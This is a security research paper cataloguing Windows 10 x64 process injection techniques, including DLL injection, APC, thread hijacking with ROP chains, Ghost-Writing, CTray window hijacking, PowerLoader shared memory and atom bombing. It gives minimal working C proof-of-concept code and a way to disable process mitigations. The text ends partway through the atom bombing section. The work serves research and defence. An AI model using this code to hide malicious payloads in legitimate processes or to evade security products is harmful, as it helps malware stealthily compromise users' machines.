Windows Process Injection in 2019

Amit Klein, Itzik Kotler

Safebreach Labs

Introduction

Process injection in Windows appears to be a well-researched topic, with many techniques now known and implemented to inject from one process to the other. Process injection is used by malware to gain more stealth (e.g. run malicious logic in a legitimate process) and to bypass security products (e.g. AV, DLP and personal firewall solutions) by injecting code that performs sensitive operations (e.g. network access) to a process which is privileged to do so.

In late 2018, we decided to take a closer look at process injection in Windows. Part of our research effort was to understand the landscape, with a focus on present-day platforms (Windows 10 x64 1803+, 64-bit processes), and there we came across several problems:

- We could not find a single location with a full list of all injection techniques. There are some texts that review multiple injection techniques (hat tip to Ashkan Hosseini, EndGame for a nice collection https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process and to Csaba Fitzl AKA "TheEvilBit" for some implementations https://github.com/theevilbit/injection), but they're all very far from capturing all (or almost all) techniques.
- The texts that describe injection techniques typically lump together "true injection techniques" (the object of this paper) with other related topics, such as process hollowing and stealthy process spawning. In this paper, we're interested only in injection from one 64-bit process (medium integrity) to another, already running 64-bit process (medium integrity).
- The texts often try to present a complete injection process, therefore mixing writing and execution techniques, when only one of them is novel.
- Many texts target 32-bit processes, and it was not clear whether they apply to 64-bit processes.
- Many texts target pre-Windows 10 platforms, and it is not clear whether they apply to Windows 10, with its implementation changes and with its new security features.
- Some attacks require privilege elevation, and as such are not interesting.
- The texts that describe process injection lack analysis – discussion of requirements and limitations, impact of Windows 10 security features, etc.
- The texts usually provide a PoC, but it's "too well written" – meaning, the PoC checks for return code, handles errors, handles 32-bit and 64-bit processes, edge conditions, etc. Also, the PoC implements an end-to-end injection (not just the novel write/execute technique). As such, the PoC becomes pretty big and difficult to follow.

In this paper, we address all the above issues. We provide the first comprehensive catalogue of *true* process injection techniques in Windows. We categorize the individual techniques into write primitives and execution methods. We test the techniques against 64-bit processes (medium integrity) running on Windows 10 x64. We test them with and without process protection techniques (CFG, CIG), we analyze each technique and explain its requirements and limitations. Finally, we provide stripped down, minimalistic PoC code that works, and at the same time is short enough to clearly show the technique at hand.

We tried to be as comprehensive as possible, i.e. really cover all different techniques. But of course, this is a live document, as new techniques will surely be discovered, and as we probably missed a few. We also tried to give credit to the original inventor of the technique, if we could find one. Again, this is probably imperfect, and readers are encouraged to send us corrections.

Finally, we get back to our original goal, and describe a new injection technique that inherently bypasses CFG.

Windows Process injection in 2019

Classes of Injection Techniques

We classify injection techniques as follows:

1. Process spawning – these methods create a process instance of a legitimate executable binary, and typically modify it before the process starts running. Process spawning is very "noisy" and as such these techniques are suspicious, and not stealthy.
2. Injecting during process initialization – these methods cause processes that are beginning to run, to load their code (e.g. AppInit DLLs). Typically these techniques require UAC elevation (due to writing to privileged registry keys and/or privileged folders). Additionally, such methods are typically mitigated by the Extension Point Disable Policy.
3. Injecting into running processes ("true process injection") – these are the most interesting techniques, which are the focus of this paper.

Injecting into running processes typically involves two sub-techniques: preparing memory in the target process (which contains the payload – the logic to be run, either as native code, or as ROP chain stack), and executing logic in the target process.

The present time landscape: Windows 10 64-bit (x64), and new security features

In recent years, Windows 10 (and the x64 hardware platform) gained a lot of popularity. This change of landscape has a great impact on process injection techniques:

- x64 (vs. x86): In Windows x86, all calling conventions except fastcall place all arguments on the stack. In x64, the calling convention places the first 4 arguments in registers (RCX, RDX, R8 and R9), and the remaining arguments on stack. This makes it harder to design a payload for x64, since such payload must control several registers in order to invoke a function. In x86, a payload

just needs to correctly arrange the stack in order for a function invocation to succeed. Theoretically this could have been elegantly handled by the single byte instruction POPA (opcode 0x61), which pops all data registers from stack, however this instruction is simply not available in x64 mode.

- New security features: Windows 10 introduced several new process exploitation mitigation features, which can be controlled via the SetProcessMitigationPolicy API (from the **target** process). These are:
    - CFG (Control Flow Guard): this is Microsoft's implementation of the CFI (Control Flow Integrity) concept for Windows (8.1, 10). The compiler precedes each indirect CALL/JMP (CALL/JMP reg) with a call to _guard_check_icall to check the validity of the call target. Validity is also provided by the compiler as a list of 16-byte aligned valid targets per module (loaded to memory as a "bitmap" for fast access). Both caller module and callee module must support CFG in order for it to be in effect.
    - Dynamic Code prevention: this feature prevents the **calling** process from calling VirtualAlloc with PAGE_EXECUTE_*, MapViewOfFile with FILE_MAP_EXECUTE option, VirtualProtect with PAGE_EXECUTE_* etc. and reconfiguring the CFG bitmap via SetProcessValidCallTargets (from https://www.troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51-507986edafce/the_joy_of_sandbox_mitigations_export.pdf). Note that for e.g. VirtualProtectEx, the policy enforced is the policy of the caller process.
    - Binary Signature Policy (CIG – Code Integrity Guard): only allow modules signed by Microsoft/Microsoft Store/WHQL to be loaded into the process memory. A weaker control is Image Load Policy, which can prevent loading modules from remote locations or files with low integrity label; This is enforced at the **calling** process.
    - Extension Point Disable Policy: disable "extensions" that load DLLs into the process space – AppInilt DLLs, Winsock LSP, Global Windows Hooks, IMEs (from https://theryuu.github.io/ifeo-mitigationoptions.txt).

  It should be noted that explorer.exe, the classic injection target, as well as several other native Windows processes/applications (e.g. Edge's broker processes) are protected with CFG, and the Edge broker processes are protected almost to the maximum possible level with the above techniques.

Defining our scope

Per the above, our interest is in *true* process injection techniques for Windows 10 x64. Specifically:

- Windows 10 x64 at recent build (1803/1809/1903)
- All processes (injector/malware, target) are 64-bit
- All processes are medium integrity
- Target process is already running (i.e. "true process injection" is needed)
- No privilege elevation required (this rules out AppInit_Dlls, AppCertDlls and shims, as the former two require writing to privileged registry keys - HKLM\Software\Microsoft and HKLM\System respectively, and the latter one requires UAC to run sbdinst.exe). Same for AddPrintProcessor,

AddPrinterDriver and AddMonitor, all of which require the DLL to reside under C:\Windows\System32.

- Evaluation is done against fully protected process (CFG, CIG, etc.) or vanilla process (where applicable)

Evaluating Process injection techniques

Bypassing Windows protection mechanisms

Microsoft provides a standard API (SetProcessValidCallTargets) for "whitelisting" (from CFG perspective) an arbitrary address in the target process. Tal Liberman from EnSilo described its internal implementation as a call to ntdll!NtSetInformationVirtualMemory with VmInformationClass= VmCfgCallTargetInformation (https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-exceptions).

```
	HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, FALSE, process_id);
	MEMORY_BASIC_INFORMATION meminfo;
	VirtualQueryEx(p, target, &meminfo, sizeof(meminfo));
	CFG_CALL_TARGET_INFO cfg;
	cfg.Offset = ((DWORD64)target) - (DWORD64)meminfo.AllocationBase;
	cfg.Flags = CFG_CALL_TARGET_VALID;
	SetProcessValidCallTargets(p, meminfo.AllocationBase, meminfo.RegionSize, 1, &cfg);
```

We found a simple way to deactivate all other Windows protections (specifically CFG cannot be deactivated in this manner) for Windows 10 version 1803. Microsoft provides a standard API (SetProcessMitigationPolicy) for turning on/off these features in the process itself. This function needs to be run from the target process and provided with 3 arguments – for example, ProcessDynamicCodePolicy, a pointer to an array of sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY) zeros, and the size of the said array – which is sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY). Finding an array of zeros is trivial, e.g. the load image address of ntdll.dll + 0x20. Running a target function with 3 arguments is possible via invoking ntdll!NtQueueApcThread.

```
	HANDLE th=OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
	ntdll!NtQueueApcThread(th, SetProcessMitigationPolicy, (void*)ProcessDynamicCodePolicy, ((char*)GetModuleHandleA("ntdll")) + 0x20, sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY));
```

NOTE: this technique stopped working at Windows 10 version 1809 – once protection is set (by SetProcessMitigationPolicy), it cannot be unset – SetProcessMitigationPolicy returns status ERROR_ACCESS_DENIED.

Given that CFG can be turned off by the injecting process, why do we need to analyze for CFG? We anticipate that the mere action of disabling (or attempt to) of a security feature by a process may be monitored and possibly even prevented by security products. As such, in the future, injecting processes may prefer to stay away from this exact functionality. Also, at some point in the future, Microsoft may disable or restrict CFG manipulation (just like they did with SetProcessMitigationPolicy).

Steps in *true* process injection

Typically, process injection follows these 3 steps:

- Memory allocation
- Memory writing (using a *memory write* primitive)
- Execution

Sometimes the allocation and memory writing are technically carried out in the same step, using the same API. Sometimes the memory allocation step is implicit, i.e. the memory is pre-allocated. Sometimes it is impossible to separate memory writing from execution.

Oftentimes, memory allocation and writing is done multiple times before the execution step.

Evaluation Criteria

We evaluate memory write primitives based on:

- Prerequisites
- Limitations
- CFG/CIG-readiness
- Controlled vs. uncontrolled write address
- Stability

We evaluated execution methods based on:

- Prerequisites
- Limitations
- CFG/CIG-readiness
- Control over registers
- Cleanup required

A note about memory allocation

In general, memory writing primitives require the target memory to be allocated. This can happen in two ways:

1. The injector process can invoke VirtualAllocEx (or NtAllocateVirtualMemory) to allocate new memory in the target process. In such a case, the injector can request this memory to be readable and/or writable and/or executable. Note that "the default behavior for executable pages allocated is to be marked valid call targets for CFG" (https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants).
2. The injector process can designate an existing (allocated) memory within the target process, for overwriting. There are several options:
    a. Stack – either the stack in use, or area beyond the TOS. The stack is RW. Writing to the stack requires addressing several considerations: (i) when writing beyond TOS, it should be kept in mind that this area may be overwritten by subsequent calls to inner functions or system functions; (ii) when writing before TOS, it should be kept in mind that this overwrites existing stack used
    b. Image – the data sections of some DLLs contain "spare" allocation beyond the actual need of the static variables mapped to there. This "cave" is RW, and initialized with zeros.
    c. Heap – any data object allocated on the heap, whose address is known to the injector process, can be theoretically used (though the memory area may be modified/recycled as the object is manipulated or destroyed). Again – RW.

    VirtualProtectEx can be used to assign different privileges (e.g. execution) to a memory region. Note that "the default behavior for VirtualProtect [and VirtualProtectEx] protection change to executable is to mark all locations as valid call targets for CFG" (https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants).

A notable exception is ntdll!NtMapViewOfSection which can be invoked in such way that it allocates memory for the section in the target process.

A survey and Analysis of injection techniques

Notation:

- Standard Microsoft Visual Studio coloring scheme
- Bold+italics – user parameters. Specifically:
    - ***payload*** – an array of bytes in the injecting process, with the data to copy to the target process
    - `sizeof`(***payload***) – the size (in bytes) of the payload array
    - ***target_payload*** – the address, in the injected process, into which the payload is injected
    - ***target_execution*** – the address, in the injected process, into which control should be transferred (can be ***target_payload*** if it is executable, or a ROP gadget e.g. stack pivot, pointing RSP to ***target_payload***)
    - ***process_id*** / ***thread_id*** – the target process ID / thread ID to inject to
- Bold (**`ntdll!NtXXX`** or **`ntdll!ZwXXX`**) – dynamically linked functions (NtXXX/ZwXXX), a shorthand for fptr=GetProcAddress(GetModuleHandleA("ntdll")),***function_name***); (*fptr)(***arguments***);
- Yellow background – cleanup code

The techniques (in chronological order, where known):

1. **Classic WriteProcessMemory write primitive (prehistoric)**
    a. Make sure the target address is allocated (e.g. with VirtualAllocEx)
    b. Write data or raw code to memory using WriteProcessMemory

    Code:

```
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, process_id);
LPVOID target_payload=VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // Or any other memory allocation technique
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL);
```

    Evaluation:

    - Prerequisites: none
    - Limitations: none
    - CFG/CIG-readiness: not affected
    - Controlled vs. uncontrolled write address: address is fully controlled
    - Stability: stable

2. **Classic DLL injection execution method (prehistoric)**
    a. Write a malicious 64-bit DLL to disk, DllMain should contain a bootstrap payload (not shown).
    b. Write memory (DLL path string) using any write primitive, e.g. VirtualAllocEx(…,PAGE_READWRITE)+WriteProcessMemory (not shown)
    c. Load (and execute) the DLL using CreateRemoteThread(…,LoadLibraryA,DLL_path_string) (internal functions NtCreateThreadEx and RtlCreateUserThread can also be used)

    Variant 1: use QueueUserAPC instead of CreateRemoteThread (thread must be in alertable state)

    Variant 2: Instead of writing the DLL path to the target process memory, find a NUL-terminated string that looks like a valid path in one of the system DLLs, write the DLL to a file in that name, and point the LoadLibrary argument to the string. For example, ntdll.dll contains the NUL-terminated string "\ntdll\ldrsnap.c", thus placing the DLL in file C:\ntdll\ldrsnap.c (assuming standard installation of Windows to drive C:) should do the trick.

    Code:

```
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, target_DLL_path, 0, NULL);
```

    Evaluation:

- Prerequisites: malicious DLL written to disk, memory write primitive, thread in alertable state (only when using APC)
- Limitations: DllMain code runs in with loader-lock locked, hence some restrictions apply (https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-best-practices)
- CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – "The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering." - https://msdn.microsoft.com/en-us/library/cc704588.aspx)
- Control over registers: none (but typically not a problem due to linking)
- Cleanup required: none

3. **CreateRemoteThread execution method (prehistoric)**
   a. Write raw code to memory using any write primitive.
   b. Execute the code using CreateRemoteThread (requires CFG-valid target)

Code:

```
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0, NULL);
```

Evaluation:

- Prerequisites: target address must be RX at minimum.
- Limitations: none
- CFG/CIG-readiness: target entry point must be CFG-valid.
- Control over registers: RCX
- Cleanup required: none

4. **APC execution method (prehistoric)**
   Thread must be in alertable state (https://docs.microsoft.com/en-us/windows/desktop/fileio/alertable-i-o), i.e. in one of 5 functions: SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx (probably RealMsgWaitForMultipleObjectsEx).
   a. Write raw code to memory using any write primitive.
   b. Execute the code using QueueUserAPC/NtQueueApcThread (requires CFG-allowed target)

Code:

```
HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX);
```

or

ntdll!NtQueueApcThread(h, (LPTHREAD_START_ROUTINE)***target_execution, RCX, RDX, R8***);

Evaluation:

- Prerequisites: Target address must be RX (at least). Thread must be in alertable state
- Limitations: none
- CFG/CIG-readiness: target entry point must be CFG-valid.
- Control over registers: RCX (also RDX and R8 if using NtQueueApcThread)
- Cleanup required: none.

5. **Thread Execution Hijacking "Suspend-Inject-Resume" execution method (prehistoric?)**
   a. Write code/data to memory using any write primitive e.g. VirtualAllocEx(…,PAGE_EXECUTE_READWRITE)+WriteProcessMemory (not shown).
   b. Execute the code using SetThreadContext (the thread needs to be suspended and resumed) – set RIP to point at the code written in step (a) or to a ROP gadget, and maybe RSP to point at a new stack.

Variant: use NtQueueApcThread(thread,SetThreadContext,-2 /* GetCurrentThread pseudo handle */,context,NULL) instead of SetThreadContext (thread must be in alertable state)

Code for executable memory:

```
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip = (DWORD64)target_execution;
SetThreadContext(t, &ctx);
ResumeThread(t);
```

Evaluation:

- Prerequisites: execution target must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: RSP (if set) must be within stack limits (this is enforced by SetThreadContext)
- Control over registers: see "SetThreadContext anomaly"
- Cleanup required: yes; the original thread needs to resume execution and for that, its registers and stack must be restored.

The SetThreadContext anomaly: for some processes, the volatile registers (RAX, RCX, RDX, R8-R11) are set by SetThreadContext, for other processes (e.g. Explorer, Edge) they are ignored. Best not rely on SetThreadContext to set those registers. Open research question: why does SetThreadContext behave differently for some processes?
Since there's no CFG check for SetThreadContext, we can also use ROP gadgets with a non-executable arbitrary memory (stack). We use a "beyond the TOS" memory cell to store the new stack address (so as not to modify the original stack).

Code for non-executable memory (ROP-chain):

```
HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.Rip = GADGET_pivot; // pop rsp; ret
ctx.Rsp -= 8;
WriteProcessMemory(p, (LPVOID)ctx.Rsp, &new_stack_address, 8, NULL); // Or any other memory write technique
//make sure stack is 16-byte aligned before the return address; make sure there's enough space *below* the entry point for stack used by system calls, etc.

SetThreadContext(t, &ctx);
ResumeThread(t);
```

Code for non-executable memory (ROP-chain), with cleanup:

```
void wait_until_done(HANDLE t, DWORD64 expected_rip_value)
{
	CONTEXT x;
	do
	{
		Sleep(10);
		SuspendThread(t);
		x.ContextFlags = CONTEXT_CONTROL;
		GetThreadContext(t, &x);
		ResumeThread(t);
	} while (x.Rip != expected_rip_value);
}

DWORD64 GADGET_loop; // jmp -2
DWORD64 GADGET_pivot; // pop rsp; ret
HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id);
// Save the thread's state
SuspendThread(t);
CONTEXT old_ctx;
old_ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &old_ctx);

// Hijack thread
CONTEXT new_ctx = old_ctx;
new_ctx.Rip = GADGET_pivot;
new_ctx.Rsp -= 8;
WriteProcessMemory(p, (LPVOID)new_ctx.Rsp, &new_stack_address, 8, NULL);
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);

// Resume execution of original thread logic
SuspendThread(t);
SetThreadContext(t, &old_ctx);
ResumeThread(t);
```

6. **Windows Hook write primitive + execution method (prehistoric)**

a. Write a malicious DLL to disk, DllMain (or hook routine) should contain a bootstrap code (payload)
b. Call SetWindowsHookEx(…,handle to DLL, thread_id) – this will load the DLL into the process (thread_id must be a message loop). A less elegant version: set thread_id=0, will inject to all processes with message loop.

Code:

```
HMODULE h = LoadLibraryA(dll_path);
HOOKPROC f = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessage hook
SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id);
PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook
```

Evaluation:

- Prerequisites: malicious DLL written to disk, target process must have user32.dll loaded (and a message loop thread)
- Limitations: none
- CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – "The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering." - https://msdn.microsoft.com/en-us/library/cc704588.aspx)
- Control over registers: none (but typically not a problem due to linking)
- Controlled vs. uncontrolled write address: N/A
- Stability: good
- Cleanup required: no

7. **SetWinEventHook write primitive + execution method (prehistoric)**
The idea is to set up a global (or per-process) **in-context** hook using SetWinEventHook. Theoretically, this forces the target process to load the specified DLL and invoke the specified hook function for the specified range of Windows events. However, in our tests (with Windows 10 version 1903), we could not force the DLL to load at the target process, and all events were handled in out-of-context fashion. The documentation (https://docs.microsoft.com/en-us/windows/desktop/api/Winuser/nf-winuser-setwineventhook) does mention that "in some situations, even if you request WINEVENT_INCONTEXT events, the events will still be delivered out-of-context", so perhaps Microsoft moved all events to our-of-context mode in recent Windows versions.
Bottom line: doesn't work with recent Windows 10 versions.

8. **Ghost-Writing write primitive + execution method (2007)**
Invented by "txipi" (http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/)
   a. Use a series of SetThreadContext calls to manipulate memory (using a simple gadget that writes one register to the address in another register), and then use that as a ROP chain.
   b. Final step of ROP chain should be restoring the volatile registers.

Code:

```
void wait_until_done(HANDLE t, DWORD64 expected_rip_value)
{
	CONTEXT x;
	do
	{
		Sleep(10);
		SuspendThread(t);
		x.ContextFlags = CONTEXT_CONTROL;
		GetThreadContext(t, &x);
		ResumeThread(t);
	}
	while (x.Rip != expected_rip_value);
}

DWORD64 GADGET_loop; // jmp -2
DWORD64 GADGET_write; // mov [rdi],rbx; mov rbx, [rsp+0x60]; add rsp,0x50; pop rdi; ret --- this is WRITE rbx at address rdi (and advance Rsp by 0x58…); note that in Windows 10 version 1903, the gadget is changed to mov [rdi],rbx; mov rbx, [rsp+0x70]; add rsp,0x60; pop rdi; ret

HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id);

// Save target thread original state
SuspendThread(t);
CONTEXT old_ctx;
old_ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &old_ctx);

// Prepare new stack in ROP_chain

DWORD64 new_stack_pos = ((old_ctx.Rsp - (sizeof(ROP_chain)+0x60) +8) & 0xFFFFFFFFFFFFFFF0) - 8 ; // make sure stack is 16-byte aligned before the return address. Use 0x70 in version 1903.

// Write address of GADGET_loop to the target thread stack (used as part of the Write Primitive)
CONTEXT new_ctx = old_ctx;
new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903
new_ctx.Rbx = GADGET_loop;
new_ctx.Rdi = new_ctx.Rsp+0x58;  // use 0x68 in version 1903
new_ctx.Rip = GADGET_write;
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);

// Write new stack to target process memory space
for (int i = 0; i < sizeof(ROP_chain)/sizeof(DWORD64); i++)
{
	SuspendThread(t);
	CONTEXT old_ctx;
	old_ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(t, &old_ctx);
	CONTEXT new_ctx = old_ctx;
	new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903
```

```
        new_ctx.Rbx = ROP_chain[i];
        new_ctx.Rdi = new_stack_pos + sizeof(DWORD64)*i;
        new_ctx.Rip = GADGET_write;
        SetThreadContext(t, &new_ctx);
        ResumeThread(t);
        wait_until_done(t, GADGET_loop);
}

// Execute code in target thread, moving RSP to new_stack_pos
new_ctx = old_ctx;
new_ctx.Rsp = new_stack_pos;
new_ctx.Rip = (DWORD64)execution_target;
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);

// Resume original flow in target thread
SuspendThread(t);
SetThreadContext(t, &old_ctx);
ResumeThread(t);
```

Evaluation:

- Prerequisites: Target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: N/A
- Control over registers: non-volatile registers (e.g. RBX). See the SetThreadContext anomaly above.
- Controlled vs. uncontrolled write address: write address is fully controlled
- Stability: unclear – the cleanup process seems to be tricky
- Cleanup required: yes, this can be tricky if the suspended flow uses volatile registers, and SetThreadContext does not set them for the target process

9. **SetWindowLong/SetWindowLongPtr execution method (2009?)**
   According to Odzhan (https://modexp.wordpress.com/2018/08/26/process-injection-ctray/), this technique surfaced in 2009, probably invented by “Indy(Clerk)”.
   Encountered in the wild (Gapz, 2012: https://www.welivesecurity.com/wp-content/uploads/2013/05/CARO_2013.pdf)
   This version is Explorer-specific, but possibly there are other processes that can be targeted in a similar fashion.
   a. Write payload to the target memory using any write primitive, e.g. VirtualAllocEx+WriteProcessMemory. This code/gadget should be CFG-valid. Not shown in the PoC code.
   b. Write a CTray object to the target memory using any write primitive e.g. WriteProcessMemory. The object should contain ptr1 pointing to ptr2 pointing to the payload.
   c. Obtain a handle to a window of class Shell_TrayWnd (of Explorer.exe),
   d. SetWindowLongPtr(handle,0,ptr to object).

e. Run SendNotifyMessageA(handle, WM_PAINT, 0, 0) to trigger the window extension.

Code (tailored for Explorer.exe):

```
HWND hWindow = FindWindowA("Shell_TrayWnd", NULL);
DWORD process_id;
GetWindowThreadProcessId(hWindow, &process_id);
// Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other
memory writing techniques are welcome
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false,
process_id);
DWORD64 obj[2];
LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(obj), MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(obj[1])
obj[1] = (DWORD64)target_execution;
WriteProcessMemory(h, target_obj, obj, sizeof(obj), NULL);
SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj);
```

Evaluation:

- Prerequisites: A window belonging to the target process, that uses the extra window bytes to store a pointer to an object with a virtual function table. Specifically, explorer's Shell Tray Window uses the first 8 extra window bytes to store a pointer to a CTray object. Target address must be RX (at least)
- Limitations: none
- CFG/CIG-readiness: the execution target must be CFG-valid.
- Control over registers: none
- Cleanup required: yes. The original CTray object must be restored, and special consideration must be given for the return state from the function

Cleanup: save the original CTray object address via GetWindowLongPtr(), restore it into RBX in the payload, set EAX to 2 and return. Also, restore the original pointer (to the original CTray object).

Full code (with cleanup and payload write), tailored for Explorer.exe:

```
HWND hWindow = FindWindowA("Shell_TrayWnd", NULL);
DWORD process_id;
GetWindowThreadProcessId(hWindow, &process_id);
DWORD64 old_obj = GetWindowLongPtrA(hWindow, 0);
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false,
process_id);
// Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other
memory writing techniques are welcome
LPVOID target_payload = VirtualAllocEx(h, NULL, sizeof(payload), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); // Make
sure payload sets eax=2 and rbx=old_obj before returning control. Also take care of stack
alignment if calling other functions
DWORD64 new_obj[2];
LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(new_obj), MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);
new_obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(new_obj[1])
```

```
        new_obj[1] = (DWORD64)target_payload;
        WriteProcessMemory(h, target_obj, obj, sizeof(new_obj), NULL);
        SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj);
        SendNotifyMessageA(hWindow, WM_PAINT, 0, 0);
        Sleep(1);
        SetWindowLongPtrA(hWindow, 0, old_obj);
```

10. **Shared Memory (PowerLoader) write primitive (2013)**

    Encountered in the wild (PowerLoader).

    a. Find a shared memory section in the target process and its size – ideally a fixed name, so there won't be any need to find it in real time. For example, explorer.exe has a shared section called UrlZonesSM_User (size 4KB).
    b. Write the payload (ROP chain, etc.) to the shared section, ideally at its end (less likely to interfere with the usual shared memory functionality).
    c. Find the address of the data in the target process by reading its memory using any read primitive (VirtualQueryEx+ReadProcessMemory). Only need to look at RW sections of type MEM_MAPPED, whose size is identical to the size provided in (a).

    Code:

```
        HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name);
        BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
        memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload));
        HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,
process_id);
        char* read_buf = new char[sizeof(payload)];
        SIZE_T region_size;
        for (DWORD64 address = 0; address < 0x00007ffffff0000ull; address += region_size)
        {
                MEMORY_BASIC_INFORMATION mem;
                SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem,
sizeof(mem));
                if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect
== PAGE_READWRITE) && (mem.RegionSize == section_size))
                {
                        ReadProcessMemory(h, (LPCVOID)(address+section_size-
sizeof(payload)), read_buf, sizeof(payload), NULL);
                        if (memcmp(read_buf, payload, sizeof(payload)) == 0)
                        {
                                // the payload is at address + section_size - sizeof(payload);
                                …
                                break;
                        }
                }
                region_size = mem.RegionSize;
        }
```

    Evaluation:

    - Prerequisites: process must use RW shared memory section
    - Limitations: none
    - CFG/CIG-readiness: not affected

- Controlled vs. uncontrolled write address: data will be written to a non-controlled address (e.g. can't write to stack)
- Stability: may be problematic if the entire section is used (SuspendProcess may be required)

11. **Window extension (Desktop Heap) write primitive (2015)**
    Encountered in the wild (PowerLoaderEx - https://www.slideshare.net/enSilo/injection-on-steroids-codeless-code-injection-and-0day-techniques)
    The concept is based on the Desktop Heap being shared (in user space) among all processes in the same Windows desktop. Therefore, "writing" arbitrary data to the Desktop heap in the injector process (by defining a window class with cbWndExtra>0 and using SetWindowsLongPtr to write there) results in the data appearing in the memory space of the target process (allegedly in fixed offset w.r.t. the Desktop Heap memory region base address). Finding the Desktop Heap in the target process is allegedly a matter of finding a memory region (using VirtualQueryEx) satisfying some conditions. EnSilo provides a PoC at https://github.com/BreakingMalware/PowerLoaderEx/blob/master/PowerLoaderEx.cpp. It seems that with Windows 10 64-bit (at least in build 1809), changes were made to the Desktop Heap implementation. Apparently, A process's user space memory no longer contains the objects from other processes, thus rendering the technique ineffective.
    Bottom line: doesn't work on Windows 10 (at least on build 1809)

12. **Atom bombing write primitive (2016)**
    Invented by Tal Liberman, Ensilo (https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows).
    a. Split the payload into NUL-terminated strings
    b. Create an Atom for each one (GlobalAddAtom). Note: Atom cannot represent a 0-length string
    c. Copy the strings to the target process memory using NtQueueApcThread(thread, GlobalGetAtomName, atom,**target_address**,size).

    Our code handles the problem of consecutive NUL bytes by creating the sequence backwards using an auxiliary atom of a single arbitrary non-NUL byte. Note that NUL bytes are created first, and only then the non-NUL bytes are added.

    If the payload starts with a NUL byte, it is still possible to write it by artificially prepending it with at least one non-NUL byte (not shown in the code)

    NOTE: the original atom bombing PoC did not directly address the issue of consecutive NUL bytes. Instead, it assumed that the target memory is 0-filled (which is indeed the case for the .data slack used by the original PoC).

    The code below ignores the issue of maximum atom length (RTL_MAXIMUM_ATOM_LENGTH – probably 255). Longer payloads need to be broken into chunks of up to 255 bytes.

    Code:

```
